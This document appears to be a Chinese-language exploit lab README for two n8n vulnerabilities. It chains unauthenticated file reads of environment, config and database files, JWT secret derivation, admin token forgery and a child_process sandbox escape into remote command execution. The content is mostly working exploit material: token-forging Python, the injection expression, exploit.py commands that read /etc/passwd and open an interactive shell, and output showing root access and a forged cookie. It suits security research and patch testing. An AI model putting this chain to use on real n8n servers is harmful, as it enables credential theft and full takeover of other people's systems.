┌───────────────────────────────────────────────────────────┐
│                     未认证                                │
├───────────────────────────────────────────────────────────┤
│  1. 读取 /proc/self/environ → 查找 HOME 目录              │
│  2. 读取 $HOME/.n8n/config → 获取 encryptionKey           │
│  3. 读取 $HOME/.n8n/database.sqlite → 获取管理员凭据      │
├───────────────────────────────────────────────────────────┤
│                      令牌伪造                              │
├───────────────────────────────────────────────────────────┤
│  4. 从 encryptionKey 推导 JWT 密钥                        │
│  5. 伪造管理员会话 Cookie                                 │
├───────────────────────────────────────────────────────────┤
│                    认证后的 RCE                           │
├───────────────────────────────────────────────────────────┤
│  6. 创建带表达式注入的工作流                              │
│  7. 通过 this.process.mainModule.require 沙箱逃逸         │
│  8. 执行任意命令                                          │
└───────────────────────────────────────────────────────────┘

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

// 修复前（存在漏洞）
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// 修复后（已修复）
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

# JWT 密钥推导
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT 哈希
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# 伪造令牌
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

docker compose up -d
# 等待约 60 秒完成设置
# 表单: http://localhost:32790/form/vulnerable-form
# 凭据: [email protected] / ExploitLab123!

# 读取任意文件
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# 带命令的完整攻击链
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# 交互式 Shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n 完整攻击链          ║
║     任意文件读取 → 令牌伪造 → 沙箱逃逸 → RCE                  ║
╚═══════════════════════════════════════════════════════════════╝

[*] 目标: http://localhost:5678/form/vulnerable-form
[*] 版本: 1.65.0 (存在漏洞)
[x] HOME 目录
[+] HOME 目录: /root
[x] 加密密钥
[+] 加密密钥: yusrXZV1...
[x] 数据库
[+] 数据库: 1327104 字节
[x] 管理员用户
[+] 管理员用户: [email protected]
[x] 令牌伪造
[+] 令牌伪造: 成功
[x] 管理员访问
[+] 管理员访问: 已授予！
[+] Cookie: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: 成功

uid=0(root) gid=0(root) groups=0(root)

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}